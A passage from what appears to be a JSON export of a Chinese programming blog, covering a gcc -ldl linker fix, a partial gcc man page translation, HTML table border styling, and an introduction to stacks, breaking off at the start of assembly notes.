class=\"string\"\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"string\"\u003eDBSim.c:(.text+0x38): undefined reference to \u0026#39;\u003c/span\u003edlopen\u003cspan class=\"string\"\u003e\u0026#39;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"string\"\u003eDBSim.c:(.text+0x55): undefined reference to \u0026#39;\u003c/span\u003edlerror\u003cspan class=\"string\"\u003e\u0026#39;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"string\"\u003eDBSim.c:(.text+0x9c): undefined reference to \u0026#39;\u003c/span\u003edlsym\u003cspan class=\"string\"\u003e\u0026#39;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"string\"\u003eDBSim.c:(.text+0xb7): undefined reference to \u0026#39;\u003c/span\u003edlsym\u003cspan class=\"string\"\u003e\u0026#39;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"string\"\u003eDBSim.c:(.text+0xd2): undefined reference to \u0026#39;\u003c/span\u003edlsym\u003cspan class=\"string\"\u003e\u0026#39;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"string\"\u003eDBSim.c:(.text+0x15d7): undefined reference to \u0026#39;\u003c/span\u003edlclose\u003cspan class=\"string\"\u003e\u0026#39;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"string\"\u003ecollect2: error: ld returned 1 exit status\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e解决方案:\u003c/p\u003e\u003col\u003e\u003cli\u003e头文件添加:\u003ccode\u003e#include \u0026lt;dlfcn.h\u0026gt;\u003c/code\u003e\u003c/li\u003e\u003cli\u003e编译选项里加 \u003ccode\u003e-ldl\u003c/code\u003e 即:\u003ccode\u003e gcc DBSim.c -o DBSim -ldl\u003c/code\u003e\u003c/li\u003e\u003c/ol\u003e\u003chr/\u003e\u003ch2 id=\"中文版文档(个人翻译)\"\u003e\u003ca href=\"https://xeonds.github.io/2021/09/26/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/GCC%E9%A3%9F%E7%94%A8%E6%8C%87%E5%8C%97/#%E4%B8%AD%E6%96%87%E7%89%88%E6%96%87%E6%A1%A3%EF%BC%88%E4%B8%AA%E4%BA%BA%E7%BF%BB%E8%AF%91%EF%BC%89\" class=\"headerlink\" title=\"中文版文档(个人翻译)\"\u003e\u003c/a\u003e中文版文档(个人翻译)\u003c/h2\u003e\u003cp\u003e\u003cstrong\u003e名称\u003c/strong\u003e\u003c/p\u003e\u003cp\u003egcc - 源于GNU项目的C/C++编译器\u003c/p\u003e\u003cp\u003e\u003cstrong\u003e概要\u003c/strong\u003e\u003c/p\u003e\u003cfigure class=\"highlight plaintext\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003egcc [-c|-S|-E] [-std=standard]\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e [-g] [-pg] [-Olevel]\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e [-Wwarn...] [-Wpedantic]\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e [-Idir...] [-Ldir...]\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e [-Dmacro[=defn]...] [-Umacro]\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e [-foption...] [-mmachine-option...]\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e [-o outfile] [@file] infile...\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e只有最常用的选项被列出;其余选项请参阅后文。 \u003cstrong\u003eg++\u003cstrong\u003e接受和\u003c/strong\u003egcc\u003c/strong\u003e几乎相同的选项。\u003c/p\u003e\u003cp\u003e\u003cstrong\u003e描述\u003c/strong\u003e\u003c/p\u003e\u003cp\u003e当你调用GCC时,它通常会进行预处理,编译,汇编和链接操作。这些“全部的”选项允许你将这个过程停止到中间阶段。例如,选项**\u003ccode\u003e-c\u003c/code\u003e**告诉编译器不要运行链接器。于是输出就由汇编器生成的object文件构成。\u003c/p\u003e\u003cp\u003e其他的选项被传递给一个或更多个编译阶段。一些选项控制预处理器,另一些选项控制编译器。然而其他的一些选项控制汇编器和链接器;它们中大多数未在此处列出,因为你极少会用到它们。\u003c/p\u003e\u003cp\u003e大多数你可以对GCC使用的命令行参数对于C程序而言都很有用;当一个参数只对一个语言(C++)有用时,说明文档会清楚地指出来。如果一个参数的描述没有提到源语言,那么你就可以在所有的支持语言中使用它。\u003c/p\u003e\u003cp\u003e运行GCC的一般方式是运行可执行程序\u003ccode\u003egcc\u003c/code\u003e,或者当你运行交叉编译时是\u003ccode\u003emachine-gcc\u003c/code\u003e,又或者运行\u003ccode\u003emachine-gcc-version\u003c/code\u003e来执行某一特定版本的GCC。当你编译C++程序时,你应当使用\u003ccode\u003eg++\u003c/code\u003e来调用GCC。\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2021/09/26/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/GCC%E9%A3%9F%E7%94%A8%E6%8C%87%E5%8C%97/"},{"title":"table边框设置成单线","time":"2021-09-25T13:36:23Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cp\u003e有两种方法。\u003c/p\u003e\u003cul\u003e\u003cli\u003e第一种方法:就是利用table标签\u003ccode\u003ecellspacing=0\u003c/code\u003e属性来实现。\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e\u003ccode\u003ecellspacing\u003c/code\u003e是内边框和外边框的距离,这种方法实现的\u003cstrong\u003e看起来\u003c/strong\u003e是单实线,其实是\u003cstrong\u003e内边框线和外边框线组合成的实线\u003c/strong\u003e。\u003c/p\u003e\u003cp\u003e例:\u003c/p\u003e\u003cfigure class=\"highlight html\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"tag\"\u003e\u0026lt;\u003cspan class=\"name\"\u003etable\u003c/span\u003e \u003cspan class=\"attr\"\u003ecellspacing\u003c/span\u003e=\u003cspan class=\"string\"\u003e\u0026#34;0\u0026#34;\u003c/span\u003e \u003cspan class=\"attr\"\u003eborder\u003c/span\u003e=\u003cspan class=\"string\"\u003e\u0026#34;1px\u0026#34;\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e ...\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"tag\"\u003e\u0026lt;/\u003cspan class=\"name\"\u003etable\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cul\u003e\u003cli\u003e第二种方法是利用css的表格\u003ccode\u003eborder-collapse\u003c/code\u003e属性来实现。\u003c/li\u003e\u003c/ul\u003e\u003cfigure class=\"highlight css\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"selector-tag\"\u003etable\u003c/span\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"attribute\"\u003eborder-collapse\u003c/span\u003e: collapse;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cblockquote\u003e\u003cp\u003e我更喜欢第二种方法。第一种方法适用于table较少,不考虑可维护的情况。否则,它会让HTML源文件变得混乱。\u003c/p\u003e\u003c/blockquote\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2021/09/25/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/table%E8%BE%B9%E6%A1%86%E8%AE%BE%E7%BD%AE%E6%88%90%E5%8D%95%E7%BA%BF/"},{"title":"数据结构(二)栈","time":"2021-09-23T17:09:41Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch2 id=\"0x01-简介\"\u003e\u003ca href=\"https://xeonds.github.io/2021/09/23/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%95%B0%E6%8D%AE%E7%BB%93%E6%9E%84/%E6%95%B0%E6%8D%AE%E7%BB%93%E6%9E%84%EF%BC%88%E4%BA%8C%EF%BC%89%E6%A0%88/#0x01-%E7%AE%80%E4%BB%8B\" class=\"headerlink\" title=\"0x01.简介\"\u003e\u003c/a\u003e0x01.简介\u003c/h2\u003e\u003cp\u003e栈(stack)是一种数据结构。它遵循的原则是FILO(First In Last Out),也就是先进后出。类比现实的例子,就是子弹上膛,最先压进去弹夹的子弹一般是最后一个被打出去的。\u003c/p\u003e\u003ch2 id=\"0x02-性质\"\u003e\u003ca href=\"https://xeonds.github.io/2021/09/23/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%95%B0%E6%8D%AE%E7%BB%93%E6%9E%84/%E6%95%B0%E6%8D%AE%E7%BB%93%E6%9E%84%EF%BC%88%E4%BA%8C%EF%BC%89%E6%A0%88/#0x02-%E6%80%A7%E8%B4%A8\" class=\"headerlink\" title=\"0x02.性质\"\u003e\u003c/a\u003e0x02.性质\u003c/h2\u003e\u003ch3 id=\"反转队列\"\u003e\u003ca href=\"https://xeonds.github.io/2021/09/23/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%95%B0%E6%8D%AE%E7%BB%93%E6%9E%84/%E6%95%B0%E6%8D%AE%E7%BB%93%E6%9E%84%EF%BC%88%E4%BA%8C%EF%BC%89%E6%A0%88/#%E5%8F%8D%E8%BD%AC%E9%98%9F%E5%88%97\" class=\"headerlink\" title=\"反转队列\"\u003e\u003c/a\u003e反转队列\u003c/h3\u003e\u003cp\u003e将一个队列的元素压入栈,再依次出栈,就能得到原队列的逆序队列。所以栈可以用于产生逆序队列。\u003c/p\u003e\u003ch3 id=\"出栈顺序\"\u003e\u003ca href=\"https://xeonds.github.io/2021/09/23/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%95%B0%E6%8D%AE%E7%BB%93%E6%9E%84/%E6%95%B0%E6%8D%AE%E7%BB%93%E6%9E%84%EF%BC%88%E4%BA%8C%EF%BC%89%E6%A0%88/#%E5%87%BA%E6%A0%88%E9%A1%BA%E5%BA%8F\" class=\"headerlink\" title=\"出栈顺序\"\u003e\u003c/a\u003e出栈顺序\u003c/h3\u003e\u003cp\u003e一个有n个元素的队列,按照一定顺序出入栈,得到另一个顺序的列表。试问顺序是否可以取到全排列$A_n^n$呢?\u003c/p\u003e\u003cp\u003e显然不能。\u003c/p\u003e\u003cp\u003e要得到一个新队列,那必然要进行$2n$次操作,即$n$次入栈和$n$次出栈。而这些操作共有$C_{2n}^n=\\frac{(2n)!}{n!^2}$种组合,因而生成的新队列并没有$n!$那么多。\u003c/p\u003e\u003cp\u003e那么,判断队列是否可由栈生成自然也是重点。最简单的办法就是在草稿纸上模拟一个栈,从生成的新队列的第一个元素开始,反推出入栈操作即可。\u003c/p\u003e\u003cp\u003e将入栈和出栈记作I和O。我们来分析一个例子,比如\u003ccode\u003e1 3 5 4 2\u003c/code\u003e,遇到1我们就可以推得操作是IO,3的话,因为前面有2,所以得先入2才能入3,所以是IIO。此时栈中有元素\u003ccode\u003e2\u003c/code\u003e。接下来的5和3同理,操作是IIO,到此为止我们完成了5次I,3次O,栈中还有\u003ccode\u003e4 2\u003c/code\u003e,所以我们需要OO,得到最终的队列:\u003ccode\u003e1 3 5 4 2\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e如何用程序实现这种判断呢?可以先生成一个大小为$n!$的\u003ccode\u003emap\u0026lt;队列,bool\u0026gt;\u003c/code\u003e,随后根据上面的数学过程穷举结果,并将结果对应的\u003ccode\u003eindex\u003c/code\u003e标记为\u003ccode\u003etrue\u003c/code\u003e然后用查表法得到结果。\u003c/p\u003e\u003cp\u003e当然,如果懒得写生成器,也可以用图灵机完成判断。\u003c/p\u003e\u003cfigure class=\"highlight python\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003edef\u003c/span\u003e \u003cspan class=\"title function_\"\u003efun\u003c/span\u003e(\u003cspan class=\"params\"\u003edata\u003c/span\u003e):\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e I,cnt=\u003cspan class=\"number\"\u003e0\u003c/span\u003e,\u003cspan class=\"built_in\"\u003elen\u003c/span\u003e(data)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e a,b=[i+\u003cspan class=\"number\"\u003e1\u003c/span\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e i \u003cspan class=\"keyword\"\u003ein\u003c/span\u003e \u003cspan class=\"built_in\"\u003erange\u003c/span\u003e(cnt)],[]\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e i \u003cspan class=\"keyword\"\u003ein\u003c/span\u003e data:\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e TRUE:\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e I==cnt: \u003cspan class=\"keyword\"\u003ebreak\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e b.push(tmp=a.pop_front)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e I+=\u003cspan class=\"number\"\u003e1\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e tmp==i: \u003cspan class=\"keyword\"\u003ebreak\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e b.pop!=i: \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e FALSE\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e TRUE\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e这程序模拟了我们上面的手动判断步骤,通过一个队列和一个栈实现。\u003c/p\u003e\u003ch2 id=\"0x03-实现\"\u003e\u003ca href=\"https://xeonds.github.io/2021/09/23/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%95%B0%E6%8D%AE%E7%BB%93%E6%9E%84/%E6%95%B0%E6%8D%AE%E7%BB%93%E6%9E%84%EF%BC%88%E4%BA%8C%EF%BC%89%E6%A0%88/#0x03-%E5%AE%9E%E7%8E%B0\" class=\"headerlink\" title=\"0x03.实现\"\u003e\u003c/a\u003e0x03.实现\u003c/h2\u003e\u003cp\u003e用C语言实现。在C++中已经有STL中的stack,无需重复实现。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e/* 数据结构定义 */\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e \u003cspan class=\"title\"\u003enode\u003c/span\u003e{\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e elemtype data;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e \u003cspan class=\"title\"\u003enode\u003c/span\u003e * \u003cspan class=\"title\"\u003enext\u003c/span\u003e;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}Node;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003etypedef\u003c/span\u003e \u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e \u003cspan class=\"title\"\u003estack\u003c/span\u003e{\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e Node * top;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e size;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}Stack;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e/* 操作定义 */\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003ebool\u003c/span\u003e \u003cspan class=\"title function_\"\u003einit\u003c/span\u003e\u003cspan class=\"params\"\u003e(Stack * ptr)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003ebool\u003c/span\u003e \u003cspan class=\"title function_\"\u003epush\u003c/span\u003e\u003cspan class=\"params\"\u003e(Stack * ptr, elemtype data)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003ebool\u003c/span\u003e \u003cspan class=\"title function_\"\u003epop\u003c/span\u003e\u003cspan class=\"params\"\u003e(Stack * ptr, elemtype * data)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003ebool\u003c/span\u003e \u003cspan class=\"title function_\"\u003eisEmpty\u003c/span\u003e\u003cspan class=\"params\"\u003e(Stack * ptr)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch2 id=\"0x04-应用\"\u003e\u003ca href=\"https://xeonds.github.io/2021/09/23/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%95%B0%E6%8D%AE%E7%BB%93%E6%9E%84/%E6%95%B0%E6%8D%AE%E7%BB%93%E6%9E%84%EF%BC%88%E4%BA%8C%EF%BC%89%E6%A0%88/#0x04-%E5%BA%94%E7%94%A8\" class=\"headerlink\" title=\"0x04.应用\"\u003e\u003c/a\u003e0x04.应用\u003c/h2\u003e\u003cp\u003e作为一种数据结构,由于栈LIFO的特性,它有很重要的应用。\u003c/p\u003e\u003cp\u003e比如利用短除法进行进制转换的时候,得到的数是从高位开始的,这种时候就适合用栈存储每一步的结果,最后直接出栈,就能得到正序的结果。\u003c/p\u003e\u003cp\u003e再比如括号匹配的检验。左括号一定是要和右括号匹配的,而栈中任一时刻,I操作次数一定是大于等于O操作次数,且最新的I对应最新的O。因此,利用栈,我们就能很容易检验匹配:遇到左括号就入栈,遇到右括号就出栈,如果不匹配返回\u003ccode\u003efalse\u003c/code\u003e,最终返回\u003ccode\u003etrue\u003c/code\u003e即可。\u003c/p\u003e\u003cp\u003e在二叉树的遍历中,我们也用栈进行状态记录。在图的深度优先搜索中,同样用栈记录状态。\u003c/p\u003e\u003cp\u003e栈不仅在数据结构上有很多应用,而且在语言和系统层面也有重要应用。\u003c/p\u003e\u003cp\u003e比如子程序的实现:jmp进入子程序地址之前,应该先把下一条指令的地址push到地址堆栈中,在完成子程序后再push返回主程序。高级语言中的函数调用大抵也是如此。\u003c/p\u003e\u003cp\u003e再比如递归程序的实现。和子程序的调用类似,只是除了储存下一个指令的地址外,也将参数、区域变量等数据存入堆栈中。\u003c/p\u003e\u003cp\u003e这里特别说一下栈在表达式求值的应用。\u003c/p\u003e\u003ch3 id=\"表达式计算与栈\"\u003e\u003ca href=\"https://xeonds.github.io/2021/09/23/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%95%B0%E6%8D%AE%E7%BB%93%E6%9E%84/%E6%95%B0%E6%8D%AE%E7%BB%93%E6%9E%84%EF%BC%88%E4%BA%8C%EF%BC%89%E6%A0%88/#%E8%A1%A8%E8%BE%BE%E5%BC%8F%E8%AE%A1%E7%AE%97%E4%B8%8E%E6%A0%88\" class=\"headerlink\" title=\"表达式计算与栈\"\u003e\u003c/a\u003e表达式计算与栈\u003c/h3\u003e\u003cp\u003e栈可以把中缀表达式转换成后缀表达式,而且利用栈可以很容易地计算后缀表达式的值。\u003c/p\u003e\u003col\u003e\u003cli\u003e后缀表达式计算\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e过程很简单,只需要线性时间。对后缀表达式从左往右处理:遇到数字就压栈,遇到运算符就弹出两个数,把结果压栈,直到处理完成只剩一个数,即表达式的运算结果。\u003c/p\u003e\u003col start=\"2\"\u003e\u003cli\u003e中缀表达式转后缀表达式\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e这需要一个栈,它用于存储操作符。遇到操作数直接输出,遇到符号就入栈。\u003cstrong\u003e遇到右括号则出栈,直到遇到左括号为止,停止出栈\u003c/strong\u003e。注意,括号不输出,只弹栈。\u003c/p\u003e\u003cp\u003e在以上条件下,遇到其他符号则弹出栈元素直到发现优先级更低的元素为止。例如,乘除优先级大于加减。\u003c/p\u003e\u003cp\u003e最后,输入结束后,弹栈直到空栈为止。\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2021/09/23/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%95%B0%E6%8D%AE%E7%BB%93%E6%9E%84/%E6%95%B0%E6%8D%AE%E7%BB%93%E6%9E%84%EF%BC%88%E4%BA%8C%EF%BC%89%E6%A0%88/"},{"title":"汇编学习笔记:转移指令与子程序","time":"2021-09-23T16:44:10Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cblockquote\u003e\u003cp\u003e[[Assembly|汇编笔记系列]]\u003c/p\u003e\u003c/blockquote\u003e\u003ch2 id=\"例程\"\u003e\u003ca href=\"https://xeonds.github.io/2021/09/23/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/Assembly/%E6%B1%87%E7%BC%96%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%EF%BC%9A%E8%BD%AC%E7%A7%BB%E6%8C%87%E4%BB%A4%E4%B8%8E%E5%AD%90%E7%A8%8B%E5%BA%8F/#%E4%BE%8B%E7%A8%8B\" class=\"headerlink\" title=\"例程\"\u003e\u003c/a\u003e例程\u003c/h2\u003e\u003cp\u003e先上例程。\u003c/p\u003e\u003cfigure class=\"highlight plaintext\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan 